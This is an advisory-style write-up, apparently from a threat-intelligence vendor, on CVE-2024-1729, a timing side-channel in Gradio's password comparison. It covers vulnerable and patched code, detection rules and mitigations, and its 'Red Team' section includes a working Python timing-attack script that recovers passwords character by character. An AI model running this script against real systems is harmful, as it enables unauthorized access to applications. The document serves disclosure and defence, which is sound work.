CVE-2024-1729
Executive Summary
CVE-2024-1729 is a timing attack vulnerability in the Gradio web application framework (gradio-app/gradio). The flaw exists in the login function within routes.py, where user credentials are validated using a direct string comparison (app.auth[username] == password). This operation is not constant-time, allowing an attacker to measure response time differences and iteratively guess the correct password character by character. Successful exploitation can lead to authentication bypass and unauthorized access to Gradio applications that use the built-in authentication mechanism. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is technically exploitable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gradio is a Python package distributed via PyPI. Organizations using Gradio’s built-in authentication (via auth= parameter) are affected. The vulnerability does not stem from a third-party dependency but from the framework’s own code. Supply chain risk is moderate: if an attacker compromises a Gradio instance, they can access internal models, data, or APIs exposed through the interface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): High (H) – requires precise timing measurements and multiple requests.
- Privileges Required (PR): None (N) – no prior auth needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – exploitation does not affect other components.
- Confidentiality (C): High (H) – attacker can gain full access to the application.
- Integrity (I): Low (L) – limited ability to modify data after auth bypass.
- Availability (A): None (N) – no direct DoS impact.
Threat Level: Medium. The attack requires network access and precise timing, but no authentication. Successful exploitation grants unauthorized access to the Gradio application.
Deep Dive & Mechanics
The vulnerability is a classic timing side-channel in password verification. In routes.py, the login function performs:
if app.auth[username] == password:
# grant access
else:
# deny
Python’s == operator for strings compares character by character and returns False as soon as a mismatch is found. This means the comparison time is proportional to the number of matching characters. An attacker can:
- Send login requests with a guessed password.
- Measure the server’s response time (e.g., via HTTP response delay).
- For each character position, try all possible characters and observe which one yields a slightly longer response time (indicating a match).
- Iterate to recover the full password.
The attack is feasible over local networks or low-latency connections. Over the internet, noise from network jitter may require statistical averaging.
Vulnerable vs. Patched Code
Vulnerable Code (routes.py):
# Vulnerable: direct string comparison
if app.auth[username] == password:
session['authenticated'] = True
return redirect('/')
else:
return "Invalid credentials", 401
Patched Code (hypothetical fix):
import hmac
# Patched: constant-time comparison using HMAC
if hmac.compare_digest(app.auth[username], password):
session['authenticated'] = True
return redirect('/')
else:
return "Invalid credentials", 401
The fix uses hmac.compare_digest() which performs a constant-time comparison, preventing timing leaks. Alternatively, a rate-limiting mechanism or CAPTCHA can be added.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: Gradio app with
auth=("user", "password")running locally or on a LAN. - Attacker machine: Python 3.x with
requestslibrary.
Exploit Script (timing-based):
import requests
import time
import string
target_url = "http://target:7860/login"
username = "admin"
known_password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
best_char = None
max_time = 0
for c in charset:
test_password = known_password + c
start = time.time()
r = requests.post(target_url, data={"username": username, "password": test_password})
elapsed = time.time() - start
if elapsed > max_time:
max_time = elapsed
best_char = c
if best_char is None:
break
known_password += best_char
print(f"Password so far: {known_password}")
# Stop if we have a reasonable length (e.g., 20 chars)
if len(known_password) > 20:
break
Note: This script assumes low network latency. For real-world use, average multiple measurements per character.
Blue Team (Defender)
Detection:
- Monitor for repeated login attempts with varying passwords from the same IP.
- Look for unusually high number of
POST /loginrequests with small payload changes. - Use timing analysis: if response times correlate with password length, it indicates a timing attack.
Mitigation:
- Apply constant-time comparison (patch).
- Implement rate limiting (e.g., 5 attempts per minute per IP).
- Add CAPTCHA after failed attempts.
- Use multi-factor authentication.
Indicators of Compromise (IOCs)
- Network: Repeated
POST /loginrequests with incremental password guesses. - Logs: Multiple 401 responses from the same IP with varying passwords.
- Timing: Response times that increase linearly with password length.
- File: No specific file IOCs; the vulnerability is in the application logic.
Detection Engineering
YARA Rule
rule CVE_2024_1729_Timing_Attack {
meta:
description = "Detects Gradio login timing attack patterns in logs"
author = "Valters IT"
date = "2025-04-10"
strings:
$login_post = "POST /login"
$failed_auth = "401"
$password_field = "password="
condition:
# of ($login_post) > 10 and # of ($failed_auth) > 5 and # of ($password_field) > 10
}
Sigma Rule
title: Gradio Timing Attack Login Attempts
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed login attempts with varying passwords, indicative of timing attack
logsource:
category: webserver
product: gradio
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login'
sc-status: 401
condition: selection | count() by src_ip > 10 within 5m
falsepositives:
- Legitimate users forgetting passwords
level: medium
Suricata Rule
alert http any any -> any any (msg:"Gradio Timing Attack - Multiple Login Attempts"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password="; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Replace direct string comparison with
hmac.compare_digest()inroutes.py. - Short-term: Implement rate limiting on the login endpoint (e.g., using Flask-Limiter).
- Long-term: Add CAPTCHA or multi-factor authentication for Gradio apps.
- Monitoring: Enable logging of all authentication attempts and alert on anomalies.
- Patch: Monitor Gradio’s GitHub for official patch; if none, apply the fix manually.
Workaround: Disable built-in authentication and use a reverse proxy (e.g., Nginx) with HTTP Basic Auth or OAuth.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert